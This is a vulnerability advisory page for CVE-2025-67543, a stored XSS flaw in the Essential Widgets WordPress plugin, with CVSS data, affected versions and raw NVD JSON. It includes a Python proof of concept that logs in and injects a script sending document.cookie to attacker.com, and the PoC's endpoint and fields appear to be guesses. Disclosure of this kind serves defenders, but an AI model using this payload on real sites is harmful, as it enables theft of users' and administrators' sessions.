Security Vulnerability Report
中文
CVE-2025-67543 CVSS 6.5 MEDIUM

CVE-2025-67543

Published: 2025-12-09 16:18:30
Last Modified: 2026-01-20 15:19:19

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Catch Themes Essential Widgets essential-widgets allows Stored XSS.This issue affects Essential Widgets: from n/a through <= 2.2.2.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:catchthemes:essential_widgets:*:*:*:*:free:wordpress:*:* - VULNERABLE
cpe:2.3:a:catchthemes:essential_widgets:*:*:*:*:pro:wordpress:*:* - VULNERABLE
Essential Widgets (essential-widgets) <= 2.2.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import re # CVE-2025-67543 PoC - Stored XSS in WordPress Essential Widgets # Target: WordPress site with Essential Widgets plugin <= 2.2.2 TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker" PASSWORD = "attacker_password" def login(): """Authenticate to WordPress admin panel""" session = requests.Session() login_url = f"{TARGET_URL}/wp-login.php" data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': f"{TARGET_URL}/wp-admin/" } response = session.post(login_url, data=data) return session if 'wordpress_logged_in' in str(session.cookies) else None def inject_xss_payload(session): """Inject stored XSS payload via Essential Widgets""" # XSS payload - cookie stealing example xss_payload = '<script>fetch("https://attacker.com/log?c="+document.cookie)</script>' # Target the essential-widgets admin interface or widget settings widget_url = f"{TARGET_URL}/wp-admin/admin.php?page=essential-widgets" # Payload injection point varies based on widget configuration post_data = { 'widget_title': xss_payload, 'widget_content': xss_payload, 'action': 'save_widget' } response = session.post(widget_url, data=post_data) return response.status_code == 200 def main(): session = login() if session: if inject_xss_payload(session): print("[+] XSS payload injected successfully") print("[*] Payload will execute when admin/user views the affected page") else: print("[-] Failed to inject payload") else: print("[-] Authentication failed") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67543", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:29.913", "lastModified": "2026-01-20T15:19:19.380", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Catch Themes Essential Widgets essential-widgets allows Stored XSS.This issue affects Essential Widgets: from n/a through <= 2.2.2."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:catchthemes:essential_widgets:*:*:*:*:free:wordpress:*:*", "versionEndExcluding": "2.3", "matchCriteriaId": "F5E89C4E-960B-4B29-A159-6C5BB98F2121"}, {"vulnerable": true, "criteria": "cpe:2.3:a:catchthemes:essential_widgets:*:*:*:*:pro:wordpress:*:*", "versionEndExcluding": "2.8", "matchCriteriaId": "193B3CE8-4DF7-4256-A428-2A85E9E45BF2"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/essential-widgets/vulnerability/wordpress-essential-widgets-plugin-2-2-2-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}